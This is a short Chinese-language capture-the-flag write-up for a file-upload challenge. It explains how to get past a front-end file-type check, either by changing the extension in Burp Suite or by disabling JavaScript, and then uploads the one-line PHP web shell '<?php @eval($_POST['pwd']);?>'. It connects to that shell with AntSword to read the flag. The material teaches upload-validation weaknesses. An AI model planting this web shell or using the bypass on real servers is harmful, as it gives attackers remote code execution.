补充
<?php phpinfo();?> 是一段简单的 PHP 代码,用于显示当前服务器的 PHP 配置信息 |
<?php ... ?>:PHP 的起始和结束标签,包裹其中的 PHP 代码。 |
phpinfo();:PHP 内置函数,调用后会生成一个完整的 HTML 页面,包含服务器的 PHP 环境信息。 |
方法1
1.上传php文件
点击上传后
提示该文件类型被限制 我们想要绕过前端文件类型验证 并且想让木马以php格式运行
所以我们将php文件修改为.jpg文件来绕过前端 之后通过bp抓包 (在服务端)修改文件后缀 从而实现木马执行
2.修改文件类型
修改为
选择路径 打开
3.打开burpsuite监听
点击上传 进行抓包
抓到的包显示为
修改为
点击Forward进行上传
我们看到上传成功
4.查看具体信息
在上传完成的图片右击选择“View Image”
会出现一个完整的php界面
方法2
1.在火狐浏览器中按F12 勾选“Disable JavaScript”来禁用js前端验证来绕过
2.上传abc.php文件
<?php @eval($_POST['pwd']);?>
上传成功
3.使用蚁剑查看详细信息
1)复制链接http://d3c646f6-352a-4b07-8b90-6cbc0788ec3a.node5.buuoj.cn:81/Pass-01/index.php
2)修改形式为
http://d3c646f6-352a-4b07-8b90-6cbc0788ec3a.node5.buuoj.cn:81/upload/abc.php
3)输入木马口令pwd
测试连接 发现成功 可以添加数据 进行查看详细信息
4)查看详细信息
双击条目查看详细信息
在根目录下找到了flag
即flag{fd7e698b-cc14-4c1a-9adc-ebef0911d47f}